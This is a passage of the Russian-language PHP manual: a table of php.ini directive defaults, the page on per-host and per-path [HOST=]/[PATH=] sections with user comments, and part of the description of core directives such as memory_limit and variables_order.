hard_timeout | "2" | INI_SYSTEM | Доступно с PHP 7.1.0.
highlight.comment | "#FF8000" | INI_ALL |
highlight.default | "#0000BB" | INI_ALL |
highlight.html | "#000000" | INI_ALL |
highlight.keyword | "#007700" | INI_ALL |
highlight.string | "#DD0000" | INI_ALL |
html_errors | "1" | INI_ALL |
ibase.allow_persistent | "1" | INI_SYSTEM |
ibase.max_persistent | "-1" | INI_SYSTEM |
ibase.max_links | "-1" | INI_SYSTEM |
ibase.default_db | NULL | INI_SYSTEM |
ibase.default_user | NULL | INI_ALL |
ibase.default_password | NULL | INI_ALL |
ibase.default_charset | NULL | INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | INI_ALL |
ibase.dateformat | "%Y-%m-%d" | INI_ALL |
ibase.timeformat | "%H:%M:%S" | INI_ALL |
ibm_db2.binmode | "1" | INI_ALL |
ibm_db2.i5_all_pconnect | "0" | INI_SYSTEM | Доступно с ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | INI_SYSTEM | Доступно с ibm_db2 1.4.9.
ibm_db2.i5_blank_userid | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_char_trim | "0" | INI_SYSTEM | Доступно с ibm_db2 2.1.0.
ibm_db2.i5_dbcs_alloc | "0" | INI_SYSTEM | Доступно с ibm_db2 1.5.0.
ibm_db2.i5_guard_profile | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_ignore_userid | "0" | INI_SYSTEM | Доступно с ibm_db2 1.8.0.
ibm_db2.i5_job_sort | "0" | INI_SYSTEM | Доступно с ibm_db2 1.8.4.
ibm_db2.i5_log_verbose | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_max_pconnect | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_override_ccsid | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_servermode_subsystem | NULL | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.i5_sys_naming | "0" | INI_SYSTEM | Доступно с ibm_db2 1.9.7.
ibm_db2.instance_name | NULL | INI_SYSTEM | Доступно с ibm_db2 1.0.2.
iconv.input_encoding | "" | INI_ALL | Устарело с PHP 5.6.0.
iconv.output_encoding | "" | INI_ALL | Устарело с PHP 5.6.0.
iconv.internal_encoding | "" | INI_ALL | Устарело с PHP 5.6.0.
ignore_repeated_errors | "0" | INI_ALL |
ignore_repeated_source | "0" | INI_ALL |
ignore_user_abort | "0" | INI_ALL |
implicit_flush | "0" | INI_ALL |
include_path | ".:/path/to/php/pear" | INI_ALL |
intl.default_locale |  | INI_ALL |
intl.error_level | 0 | INI_ALL |
intl.use_exceptions | 0 | INI_ALL | Доступно с PECL 3.0.0a1
last_modified | "0" | INI_ALL |
ldap.max_links | "-1" | INI_SYSTEM |
log_errors | "0" | INI_ALL |
log_errors_max_len | "1024" | INI_ALL |
mail.add_x_header | "0" | INI_PERDIR |
mail.force_extra_parameters | null | Только php.ini |
mail.log | "" | INI_PERDIR |
max_execution_time | "30" | INI_ALL |
max_input_nesting_level | "64" | INI_PERDIR |
max_input_vars | 1000 | INI_PERDIR |
max_input_time | -1 | INI_PERDIR |
mbstring.language | "neutral" | INI_ALL |
mbstring.detect_order | NULL | INI_ALL |
mbstring.http_input | "pass" | INI_ALL | Устарела
mbstring.http_output | "pass" | INI_ALL | Устарела
mbstring.internal_encoding | NULL | INI_ALL | Устарела
mbstring.substitute_character | NULL | INI_ALL |
mbstring.func_overload | "0" | INI_SYSTEM | Объявлено устаревшим в PHP 7.2.0; удалено с PHP 8.0.0.
mbstring.encoding_translation | "0" | INI_PERDIR |
mbstring.http_output_conv_mimetypes | "^(text/|application/xhtml\+xml)" | INI_ALL |
mbstring.strict_detection | "0" | INI_ALL |
mbstring.regex_retry_limit | "1000000" | INI_ALL | Доступно, начиная с PHP 7.4.0.
mbstring.regex_stack_limit | "100000" | INI_ALL | Доступно, начиная с PHP 7.3.5.
mcrypt.algorithms_dir | null | INI_ALL |
mcrypt.modes_dir | null | INI_ALL |
memcache.allow_failover | "1" | INI_ALL | Доступно с memcache 2.0.2.
memcache.max_failover_attempts | "20" | INI_ALL | Доступно с memcache 2.1.0.
memcache.chunk_size | "8192" | INI_ALL | Доступно с memcache 2.0.2.
memcache.default_port | "11211" | INI_ALL | Доступно с memcache 2.0.2.
memcache.hash_strategy | "standard" | INI_ALL | Доступно с memcache 2.2.0.
memcache.hash_function | "crc32" | INI_ALL | Доступно с memcache 2.2.0.
memcache.protocol | ascii | INI_ALL | Поддерживается с memcache 3.0.0
memcache.redundancy | 1 | INI_ALL | Поддерживается с memcache 3.0.0
memcache.session_redundancy | 2 | INI_ALL | Поддерживается с memcache 3.0.0
memcache.compress_threshold | 20000 | INI_ALL | Поддерживается с memcache 3.0.3
memcache.lock_timeout | 15 | INI_ALL | Поддерживается с memcache 3.0.4
memory_limit | "128M" | INI_ALL |
mysql.allow_local_infile | "1" | INI_SYSTEM |
mysql.allow_persistent | "1" | INI_SYSTEM |
mysql.max_persistent | "-1" | INI_SYSTEM |
mysql.max_links | "-1" | INI_SYSTEM |
mysql.trace_mode | "0" | INI_ALL |
mysql.default_port | NULL | INI_ALL |
mysql.default_socket | NULL | INI_ALL |
mysql.default_host | NULL | INI_ALL |
mysql.default_user | NULL | INI_ALL |
mysql.default_password | NULL | INI_ALL |
mysql.connect_timeout | "60" | INI_ALL |
mysqli.allow_local_infile | "0" | INI_SYSTEM | До PHP 7.2.16 и 7.3.3 значением по умолчанию было "1".
mysqli.local_infile_directory |  | INI_SYSTEM | Доступно, начиная с PHP 8.1.0.
mysqli.allow_persistent | "1" | INI_SYSTEM |
mysqli.max_persistent | "-1" | INI_SYSTEM |
mysqli.max_links | "-1" | INI_SYSTEM |
mysqli.default_port | "3306" | INI_ALL |
mysqli.default_socket | NULL | INI_ALL |
mysqli.default_host | NULL | INI_ALL |
mysqli.default_user | NULL | INI_ALL |
mysqli.default_pw | NULL | INI_ALL |
mysqli.reconnect | "0" | INI_SYSTEM | Удалено, начиная с PHP 8.2.0
mysqli.rollback_on_cached_plink | "0" | INI_SYSTEM |
mysqlnd.collect_statistics | "1" | INI_SYSTEM |
mysqlnd.collect_memory_statistics | "0" | INI_SYSTEM |
mysqlnd.debug | "" | INI_SYSTEM |
mysqlnd.log_mask | 0 | INI_ALL |
mysqlnd.mempool_default_size | 16000 | INI_ALL |
mysqlnd.net_read_timeout | ""86400"" | INI_ALL | До PHP 7.2.0 значением по умолчанию "31536000", а местом изменения было INI_SYSTEM
mysqlnd.net_cmd_buffer_size | 5.3.0 — "2048", 5.3.1 — "4096" | INI_SYSTEM |
mysqlnd.net_read_buffer_size | "32768" | INI_SYSTEM |
mysqlnd.sha256_server_public_key | "" | INI_PERDIR |
mysqlnd.trace_alloc | "" | INI_SYSTEM |
mysqlnd.fetch_data_copy | 0 | INI_ALL | Удалено с PHP 8.1.0
oci8.connection_class | "" | INI_ALL |
oci8.default_prefetch | "100" | INI_SYSTEM |
oci8.events | Off | INI_SYSTEM |
oci8.max_persistent | "-1" | INI_SYSTEM | Объявлена устаревшей, начиная с PHP 8.1.0.
oci8.old_oci_close_semantics | Off | INI_SYSTEM |
oci8.persistent_timeout | "-1" | INI_SYSTEM |
oci8.ping_interval | "60" | INI_SYSTEM |
oci8.prefetch_lob_size | "0" | INI_SYSTEM | Доступна начиная с версии PECL OCI8 3.2.
oci8.privileged_connect | Off | INI_SYSTEM |
oci8.statement_cache_size | "20" | INI_SYSTEM |
odbc.default_db * | NULL | INI_ALL |
odbc.default_user * | NULL | INI_ALL |
odbc.default_pw * | NULL | INI_ALL |
odbc.allow_persistent | "1" | INI_SYSTEM |
odbc.check_persistent | "1" | INI_SYSTEM |
odbc.max_persistent | "-1" | INI_SYSTEM |
odbc.max_links | "-1" | INI_SYSTEM |
odbc.defaultlrl | "4096" | INI_ALL |
odbc.defaultbinmode | "1" | INI_ALL |
odbc.default_cursortype | "3" | INI_ALL |
opcache.enable | "1" | INI_ALL |
opcache.enable_cli | "0" | INI_SYSTEM | В версиях с PHP 7.1.2 по 7.1.6 включительно, значение по умолчанию "1" (включено)
opcache.memory_consumption | "128" | INI_SYSTEM |
opcache.interned_strings_buffer | "8" | INI_SYSTEM |
opcache.max_accelerated_files | "10000" | INI_SYSTEM |
opcache.max_wasted_percentage | "5" | INI_SYSTEM |
opcache.use_cwd | "1" | INI_SYSTEM |
opcache.validate_timestamps | "1" | INI_ALL |
opcache.revalidate_freq | "2" | INI_ALL |
opcache.revalidate_path | "0" | INI_ALL |
opcache.save_comments | "1" | INI_SYSTEM |
opcache.fast_shutdown | "0" | INI_SYSTEM |
opcache.enable_file_override | "0" | INI_SYSTEM |
opcache.optimization_level | "0x7FFEBFFF" | INI_SYSTEM | До PHP 7.3.0 было 0x7FFFBFFF
opcache.inherited_hack | "1" | INI_SYSTEM | Удалено в PHP 7.3.0
opcache.dups_fix | "0" | INI_ALL |
opcache.blacklist_filename | "" | INI_SYSTEM |
opcache.max_file_size | "0" | INI_SYSTEM |
opcache.consistency_checks | "0" | INI_ALL | Недоступно с PHP 8.1.18 и 8.2.5. Удалено в PHP 8.3.0.
opcache.force_restart_timeout | "180" | INI_SYSTEM |
opcache.error_log | "" | INI_SYSTEM |
opcache.log_verbosity_level | "1" | INI_SYSTEM |
opcache.record_warnings | "0" | INI_SYSTEM | Доступно с PHP 8.0.0.
opcache.preferred_memory_model | "" | INI_SYSTEM |
opcache.protect_memory | "0" | INI_SYSTEM |
opcache.mmap_base | null | INI_SYSTEM |
opcache.restrict_api | "" | INI_SYSTEM |
opcache.file_update_protection | "2" | INI_ALL |
opcache.huge_code_pages | "0" | INI_SYSTEM |
opcache.lockfile_path | "/tmp" | INI_SYSTEM |
opcache.opt_debug_level | "0" | INI_SYSTEM | Доступно с PHP 7.1.0
opcache.file_cache | NULL | INI_SYSTEM |
opcache.file_cache_only | "0" | INI_SYSTEM |
opcache.file_cache_consistency_checks | "1" | INI_SYSTEM |
opcache.file_cache_fallback | "1" | INI_SYSTEM |
opcache.validate_permission | "0" | INI_SYSTEM | Доступно с PHP 7.0.14
opcache.validate_root | "0" | INI_SYSTEM | Доступно с PHP 7.0.14
opcache.preload | "" | INI_SYSTEM | Доступно с PHP 7.4.0
opcache.preload_user | "" | INI_SYSTEM | Доступно с PHP 7.4.0
opcache.cache_id | "" | INI_SYSTEM | Только в Windows. Доступно с PHP 7.4.0
opcache.jit | "tracing" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_buffer_size | "0" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_debug | "0" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_bisect_limit | "0" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_prof_threshold | "0.005" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_root_traces | "1024" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_max_side_traces | "128" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_max_exit_counters | "8192" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_loop | "64" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_func | "127" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_return | "8" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_side_exit | "8" | INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_blacklist_root_trace | "16" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_blacklist_side_trace | "8" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_loop_unrolls | "8" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_recursive_calls | "2" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_recursive_returns | "2" | INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_polymorphic_calls | "2" | INI_ALL | Доступно с PHP 8.0.0
open_basedir | null | INI_ALL |
output_buffering | "0" | INI_PERDIR |
output_handler | null | INI_PERDIR |
pcre.backtrack_limit | "1000000" | INI_ALL |
pcre.recursion_limit | "100000" | INI_ALL |
pcre.jit | "1" | INI_ALL |
pdo.dsn.* |  | только php.ini |
pdo_odbc.connection_pooling | "strict" | INI_ALL |
pdo_odbc.db2_instance_name | NULL | INI_SYSTEM | Эта возможность устарела и будет удалена в будущем.
pgsql.allow_persistent | "1" | INI_SYSTEM |
pgsql.max_persistent | "-1" | INI_SYSTEM |
pgsql.max_links | "-1" | INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | INI_SYSTEM |
pgsql.ignore_notice | "0" | INI_ALL |
pgsql.log_notice | "0" | INI_ALL |
phar.readonly | "1" | INI_ALL |
phar.require_hash | "1" | INI_ALL |
phar.cache_list | "" | INI_SYSTEM |
post_max_size | "8M" | INI_PERDIR |
precision | "14" | INI_ALL |
realpath_cache_size | "16K" | INI_SYSTEM |
realpath_cache_ttl | "120" | INI_SYSTEM |
register_argc_argv | "1" | INI_PERDIR |
report_memleaks | "1" | INI_ALL |
report_zend_debug | "1" | INI_ALL |
request_order | "" | INI_PERDIR |
runkit.superglobal | "" | INI_PERDIR |
runkit.internal_override | "0" | INI_SYSTEM |
sendmail_from | null | INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | INI_SYSTEM |
serialize_precision | "-1" | INI_ALL | До PHP 7.1.0 значением по умолчанию было 17.
session.save_path | "" | INI_ALL |
session.name | "PHPSESSID" | INI_ALL |
session.save_handler | "files" | INI_ALL |
session.auto_start | "0" | INI_PERDIR |
session.gc_probability | "1" | INI_ALL |
session.gc_divisor | "100" | INI_ALL |
session.gc_maxlifetime | "1440" | INI_ALL |
session.serialize_handler | "php" | INI_ALL |
session.cookie_lifetime | "0" | INI_ALL |
session.cookie_path | "/" | INI_ALL |
session.cookie_domain | "" | INI_ALL |
session.cookie_secure | "0" | INI_ALL | До PHP 7.2.0 значение по умолчанию было "".
session.cookie_httponly | "0" | INI_ALL | До PHP 7.2.0 значение по умолчанию было "".
session.cookie_samesite | "" | INI_ALL | Доступна с PHP 7.3.0.
session.use_strict_mode | "0" | INI_ALL |
session.use_cookies | "1" | INI_ALL |
session.use_only_cookies | "1" | INI_ALL |
session.referer_check | "" | INI_ALL |
session.cache_limiter | "nocache" | INI_ALL |
session.cache_expire | "180" | INI_ALL |
session.use_trans_sid | "0" | INI_ALL |
session.trans_sid_tags | "a=href,area=href,frame=src,form=" | INI_ALL | Доступна с PHP 7.1.0.
session.trans_sid_hosts | $_SERVER['HTTP_HOST'] | INI_ALL | Доступна с PHP 7.1.0.
session.sid_length | "32" | INI_ALL | Доступна с PHP 7.1.0.
session.sid_bits_per_character | "4" | INI_ALL | Доступна с PHP 7.1.0.
session.upload_progress.enabled | "1" | INI_PERDIR |
session.upload_progress.cleanup | "1" | INI_PERDIR |
session.upload_progress.prefix | "upload_progress_" | INI_PERDIR |
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | INI_PERDIR |
session.upload_progress.freq | "1%" | INI_PERDIR |
session.upload_progress.min_freq | "1" | INI_PERDIR |
session.lazy_write | "1" | INI_ALL |
session.hash_function | "0" | INI_ALL | Удалена в PHP 7.1.0.
session.hash_bits_per_character | "4" | INI_ALL | Удалена в PHP 7.1.0.
session.entropy_file | "" | INI_ALL | Удалена в PHP 7.1.0.
session.entropy_length | "0" | INI_ALL | Удалена в PHP 7.1.0
short_open_tag | "1" | INI_PERDIR |
SMTP | "localhost" | INI_ALL |
smtp_port | "25" | INI_ALL |
soap.wsdl_cache_enabled | 1 | INI_ALL |
soap.wsdl_cache_dir | /tmp | INI_ALL |
soap.wsdl_cache_ttl | 86400 | INI_ALL |
soap.wsdl_cache | 1 | INI_ALL |
soap.wsdl_cache_limit | 5 | INI_ALL |
sql.safe_mode | "0" | INI_SYSTEM | Удалено в PHP 7.2.0
sqlite3.extension_dir | "" | INI_SYSTEM |
sqlite3.defensive | 1 | INI_USER | Доступно, начиная с PHP 7.2.17 и 7.3.4 для libsqlite ? 3.26.0. До PHP 8.2.0 этот параметр можно было изменить только как INI_SYSTEM.
syslog.facility | "LOG_USER" | INI_SYSTEM | Доступно с PHP 7.3.0.
syslog.filter | "no-ctrl" | INI_ALL | Доступно с PHP 7.3.0.
syslog.ident | "php" | INI_SYSTEM | Доступно с PHP 7.3.0.
sys_temp_dir | "" | INI_SYSTEM |
sysvshm.init_mem | 10000 | INI_SYSTEM |
tidy.default_config | "" | INI_SYSTEM |
tidy.clean_output | "0" | INI_USER |
track_errors | "0" | INI_ALL | Объявлено устаревшим в PHP 7.2.0, удалено в PHP 8.0.0.
unserialize_callback_func | null | INI_ALL |
unserialize_max_depth | "4096" | INI_ALL | Доступно, начиная с PHP 7.4.0.
uploadprogress.file.filename_template | "/tmp/upt_%s.txt" | INI_ALL |
upload_max_filesize | "2M" | INI_PERDIR |
max_file_uploads | "20" | INI_SYSTEM |
upload_tmp_dir | null | INI_SYSTEM |
url_rewriter.hosts | "" | INI_ALL | Доступна с PHP 7.1.0.
url_rewriter.tags | "form=" | INI_ALL | До PHP 7.1.0 значением по умолчанию было "a=href,area=href,frame=src,form=,fieldset=".
user_agent | null | INI_ALL |
user_dir | null | INI_SYSTEM |
user_ini.cache_ttl | "300" | INI_SYSTEM |
user_ini.filename | ".user.ini" | INI_SYSTEM |
uopz.disable | "0" | INI_SYSTEM | Доступно начиная с uopz 5.0.2
uopz.exit | "0" | INI_SYSTEM | Доступно начиная с uopz 6.0.1
uopz.overloads | "1" | INI_SYSTEM | Доступно начиная с uopz 2.0.2. Удалено начиная с uopz 5.0.0.
variables_order | "EGPCS" | INI_PERDIR |
windows.show_crt_warning | "0" | INI_ALL |
xbithack | "0" | INI_ALL |
xmlrpc_errors | "0" | INI_SYSTEM |
xmlrpc_error_number | "0" | INI_ALL |
yaz.keepalive | "120" | INI_ALL |
yaz.log_mask | null | INI_ALL | Доступно с yaz 1.0.3.
zend.assertions | "1" | INI_ALL |
zend.detect_unicode | "1" | INI_ALL |
zend.enable_gc | "1" | INI_ALL |
zend.multibyte | "0" | INI_PERDIR |
zend.script_encoding | null | INI_ALL |
zend.signal_check | "0" | INI_SYSTEM |
zend_extension | null | Только php.ini |
zlib.output_compression | "0" | INI_ALL |
zlib.output_compression_level | "-1" | INI_ALL |
zlib.output_handler | "" | INI_ALL |

User Contributed Notes

There are no user contributed notes for this page.


Список разделов php.ini

В этом списке указаны разделы, в которых вы можете настроить PHP в зависимости от хоста или пути. Эти разделы необязательны.

Данные разделы не имеют прямого влияния на PHP. Они нужны для группировки других директив php.ini вместе и для возможности действовать в зависимости от определённого хоста или пути.

Данные разделы используются только в режиме CGI/FastCGI и в них не могут быть использованы директивы extension и zend_extension.

Разделы
Название | Место изменения | История изменений
[HOST=] | INI_SYSTEM |
[PATH=] | INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

[HOST=<host>]

Данный раздел позволяет определять набор php.ini директив, которые будут применяться только к указанному хосту.

Пример #1 Активация полного логирования и сообщения об ошибках для dev. домена

[HOST=dev.site.com]
error_reporting = E_ALL
display_errors = On

[PATH=<path>]

Данный раздел позволяет определять набор php.ini директив, которые будут применяться, если скрипт будет запущен из указанного пути.

Пример #2 Добавление скрипта безопасности для защищённых зон

[PATH=/home/site/public/secure]
auto_prepend_file=security.php

User Contributed Notes

dasloch at absatzen dot de 12-Feb-2020 12:47
Note that you cannot usefully set syslog.* in [PATH=] (and probably [HOST=]) sections, since the syslogger is initialized only once per php-fpm worker process, and not per request.
robinhook at mail dot com 22-Apr-2018 07:14
Sorry for the note. I've read some bad tutorials.
The correct syntax is : directive = 'value'
not a thing like : php_value[directive] = "somevalue"
robinhook at mail dot com 22-Apr-2018 06:59
this HOST and PATH sections doesn't seems to work in php.ini under apache 2.4 with php-fpm 7.1.16 for directive php_value or php_admin_value open_basedir or include_path.
phpinfo() says "none" in master and local values.
z dot himdi at bita dot nl 04-Aug-2011 07:53
On Windows IIS 7 server I noticed that [PATH=] was not listened to. [HOST=] however worked.
leo 06-May-2011 03:21
Just developed the probably first php.ini hack to add commands which will only be parsed before PHP 5.3 when using mod_php.

<?php

# Disable eAccelerator by default
eaccelerator.enable = 0

# Now, to prevent incompatibilities with Zend Optimizer+, we
# want to enable eAccelerator only in PHP 5.2 or lower.
[HOST=*]
eaccelerator.enable = 1

?>

What is happening here? In PHP 5.3, php.ini sections to set up PHP on a per host basis have been introduced:

http://www.php.net/manual/en/ini.sections.php

These sections only work in CGI/FastCGI mode, however there still seems to be a difference in how the php.ini file is parsed in PHP 5.2 and PHP 5.3 when using mod_php: PHP 5.3 ignores everything below the line [HOST=*], whereas PHP 5.2 does not.

In the above example, PHP 5.3 only reads "eaccelerator.enable = 0" and then stops at the invalid command [HOST=*]. However, PHP 5.2 seems to ignore the invalid command and parses the whole configuration file, ending up with "eaccelerator.enable = 1".
crash at lubyte dot de 06-Sep-2010 05:45
If you have a system which uses separated PHP inis for loading extensions (Debian, Fedora and most other distributions do so), [PATH=] or [HOST=] will prevent loading extensions defined in those ini files (extension= and zend_extension=).

I had some headache, when I added a hosts.ini to /etc/php5/cgi/conf.d (Debians default), where I wanted to define some defaults for a host name. The manual says extension= and zend_extension= aren't allowed in [HOST=] and [PATH=] (see above). I figured out that you can easily fix that with adding [PHP] after your definitions.

For example hosts.ini:
[HOST=dev.example.com]
display_errors = on

[PHP]

this will change the section back to [PHP] where extension= and zend_extension= is allowed.
robert dot johnson at icap dot com 12-Apr-2010 10:26
Adding PATH= applies only to the named path and does not include sub-directories, you have to add a PATH= value for each sub-directory.

Also some settings have no effect even though phpinfo recognises and displays the per-folder value as the 'local' value, and the default as the 'master' value.

'fastcgi.impersonate' always uses the master setting.
public at grik dot net 24-Sep-2009 03:00
In [HOST=...] one should use only the 1st server name from the list of server names.

I.E. if you have
server_name example.com, example2.com;
and will use www.example.com in a browser,
use [HOST=example.com] in php.ini for both addresses.

PHP looks not at the HOST request header (as I expected), but at the SERVER_NAME parameter (which by default is the 1st from the list of names, no matter what the HOST is).


Описание встроенных директив php.ini

Этот список включает встроенные директивы php.ini, которые вы можете использовать для настройки PHP. Директивы, которые обрабатываются модулями, перечислены и подробно описаны на страницах документаций соответствующих модулей. К примеру, информация о директивах сессий может быть найдена на странице документации сессий.

Замечание:

Представленные здесь значения по умолчанию используются в случае, если не был подключён php.ini; значения для боевого php.ini и для разработки могут различаться.

Языковые опции

Опции языка и прочих настроек
Имя | По умолчанию | Место изменения | Список изменений
short_open_tag | "1" | INI_PERDIR |
precision | "14" | INI_ALL |
serialize_precision | "-1" | INI_ALL | До версии PHP 7.1.0 значение по умолчанию было равно 17.
disable_functions | "" | Только INI_SYSTEM |
disable_classes | "" | Только php.ini |
exit_on_timeout | "" | INI_ALL |
expose_php | "1" | Только php.ini |
hard_timeout | "2" | INI_SYSTEM | Доступна с версии PHP 7.1.0.
zend.exception_ignore_args | "0" | INI_ALL | Доступна с версии PHP 7.4.0
zend.multibyte | "0" | INI_ALL |
zend.script_encoding | NULL | INI_ALL |
zend.detect_unicode | NULL | INI_ALL |
zend.signal_check | "0" | INI_SYSTEM |
zend.assertions | "1" | INI_ALL с ограничениями |
zend.exception_string_param_max_len | "15" | INI_ALL | Доступно, начиная с PHP 8.0.0.

Краткое разъяснение конфигурационных директив.

short_open_tag bool

Определяет, разрешается ли короткая форма записи (<? ?>) тегов PHP. Если вы хотите использовать PHP совместно с XML, вы можете отключить эту опцию, чтобы беспрепятственно использовать <?xml ?>. В противном случае, вы можете отобразить это при помощи PHP, например: <?php echo '<?xml version="1.0"?>'; ?>. Если же эта опция отключена, вы должны использовать длинную форму открывающего тега PHP (<?php ?>).

Замечание:

Эта директива не влияет на сокращение <?=, которое всегда доступно.

precision int
Количество значащих цифр, отображаемых для чисел с плавающей точкой. -1 означает, что будет использован усовершенствованный алгоритм для округления таких чисел.
serialize_precision int
Количество сохраняемых значащих цифр при сериализации чисел с плавающей точкой. -1 означает, что будет использован усовершенствованный алгоритм для округления таких чисел.
expose_php bool

Выдаёт факт присутствия PHP на сервере, включая передачу версии PHP в HTTP-заголовке (например, X-Powered-By: PHP/5.3.7).

disable_functions string

Эта директива позволяет отключить некоторые функции. Она принимает список имён функций, разделённый запятыми.

Только внутренние функции могут быть отключены с помощью этой директивы. Пользовательские функции ей не подвержены.

Эта директива должна быть установлена в php.ini. Например, её нельзя использовать в httpd.conf.

disable_classes string
Эта директива позволяет отключить некоторые классы. Она принимает список имён классов, разделённых запятыми. Эта директива должна быть установлена в php.ini. Например, её нельзя использовать в httpd.conf.
zend.assertions int
Если задано значение 1, проверочный код будет исполняться (режим разработки). Если задан 0, код проверок будет сгенерирован, однако исполняться не будет. Если задано -1, проверочный код не будет генерироваться (продуктивный режим).

Замечание:

Если процесс запущен в режиме релиза, zend.assertions не может быть изменён во время выполнения, так как код утверждений не генерируется.

Если процесс запущен в режиме разработки, zend.assertions не может быть выставлен в -1 во время выполнения..

zend.exception_string_param_max_len int
Максимальная длина аргументов строковой функции в строковых трассировках стека. Значение должно быть в диапазоне от "0" до "1000000".
hard_timeout int

Когда истечёт время ожидания, установленное в max_execution_time, среда выполнения PHP аккуратно отключит ресурсы. Если во время этого что-то застрянет, время ожидания будет установлено на указанное количество секунд. Когда истечёт жёсткое время ожидания, PHP завершит работу с ошибкой. Если установлено значение 0, жёсткое время ожидания никогда не активируется.

Когда PHP останавливается после жёсткого времени ожидания, это будет выглядеть примерно так:

        Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in Unknown on line 0

zend.exception_ignore_args bool

Исключает аргументы из трассировки стека, сгенерированных из исключений.

zend.multibyte bool

Разрешает парсинг исходных файлов в многобайтных кодировках. Включение zend.multibyte требуется для использования кодировок символов подобных SJIS, BIG5 и т.д., содержащих специальные символы в многобайтных строковых данных. Совместимые с ISO-8859-1 кодировки, например UTF-8, EUC и т.д., не требуют эту опцию.

Модуль zend.multibyte требует установленного модуля "mbstring".

zend.script_encoding string

Данное значение будет использовано, только при отсутствии директивы declare(encoding=...) в начале скрипта. При использовании кодировок несовместимых с ISO-8859-1, нужно использовать опции и zend.multibyte и zend.script_encoding.

Литеральные строки должны быть транслитерированы из zend.script_encoding в mbstring.internal_encoding, как если бы вызвали mb_convert_encoding().

zend.detect_unicode bool

Определяет, нужно ли проверять BOM (Byte Order Mark, метка порядка байт) и корректность многобайтных символов в файле. Эта проверка производится до вызова __halt_compiler(). Доступна только в режиме Zend Multibyte.

zend.signal_check bool

Определяет, нужно ли проверять заменённые обработчики сигналов при завершении скрипта.

exit_on_timeout bool

Эта директива только для Apache1 mod_php, которая заставляет потомка Apache завершиться, если превышено время ожидания исполнения скрипта PHP. Превышение времени ожидания приводит к внутреннему вызову longjmp() в Apache1, который оставляет некоторые модули в несогласованном состоянии. По завершении процесса все неснятые блокировки или память будут очищены.

Ограничения ресурсов

Ограничения ресурсов
Имя | По умолчанию | Место изменения | Список изменений
memory_limit | "128M" | INI_ALL |

Краткое разъяснение конфигурационных директив.

memory_limit int

Эта директива задаёт максимальный объем памяти в байтах, который разрешается использовать скрипту. Это помогает предотвратить ситуацию, при которой плохо написанный скрипт съедает всю доступную память сервера. Для того, чтобы убрать ограничения, установите значение этой директивы в -1.

Если указано целое значение (int), объём измеряется байтами. Можно также использовать сокращённую запись, которая описана в этом разделе FAQ.

Смотрите также: max_execution_time.

Настройка производительности

Настройка производительности
Имя | По умолчанию | Место изменения | Список изменений
realpath_cache_size | "4M" | INI_SYSTEM | До PHP 7.0.16 и 7.1.2, по умолчанию было "16K"
realpath_cache_ttl | "120" | INI_SYSTEM |

Замечание:

Использование open_basedir отключит кеш realpath.

Краткое разъяснение конфигурационных директив.

realpath_cache_size int

Определяет размера кеша realpath, используемого в PHP. Это значение должно быть увеличено на системах, в которых PHP открывает большое количество файлов соответственно количеству выполняемых файловых операций.

Размер равный общему числу байт, хранящимся в строках путей, плюс размер данных связанных с кешируемым элементом. Это значит, что для хранения длинных путей в кеше, размер этого кеша должен быть больше. Это значение не определяет напрямую количество разных путей, которые могут быть закешированы.

Размер, необходимый для кеширования, зависит от системы.

realpath_cache_ttl int

Время (в секундах) в течение которого будет использован кеш realpath для указанного файла или директории. Для систем с редко меняющимися файлами это значение можно увеличить.

Обработка данных

Конфигурационные опции обработки данных
Имя | По умолчанию | Место изменения | Список изменений
arg_separator.output | "&" | INI_ALL |
arg_separator.input | "&" | INI_PERDIR |
variables_order | "EGPCS" | INI_PERDIR |
request_order | "" | INI_PERDIR |
auto_globals_jit | "1" | INI_PERDIR |
register_argc_argv | "1" | INI_PERDIR |
enable_post_data_reading | "1" | INI_PERDIR |
post_max_size | "8M" | INI_PERDIR |
auto_prepend_file | NULL | INI_PERDIR |
auto_append_file | NULL | INI_PERDIR |
default_mimetype | "text/html" | INI_ALL |
default_charset | "UTF-8" | INI_ALL |
input_encoding | "" | INI_ALL |
output_encoding | "" | INI_ALL |
internal_encoding | "" | INI_ALL |

Краткое разъяснение конфигурационных директив.

arg_separator.output string

Этот разделитель используется в генерируемых PHP URL в качестве разделителя аргументов.

arg_separator.input string

Список разделителей, используемых PHP для получения переменных из URL.

Замечание:

Каждый символ в этой директиве считается разделителем!

variables_order string

Устанавливает порядок обработки переменных EGPCS (Environment, Get, Post, Cookie, и Server). Например, если variables_order установлена в "SP", то PHP создаст superglobals $_SERVER и $_POST, но не будет создавать $_ENV, $_GET и $_COOKIE. Установка в "" означает, что ни одна superglobals не будет установлена.

Внимание

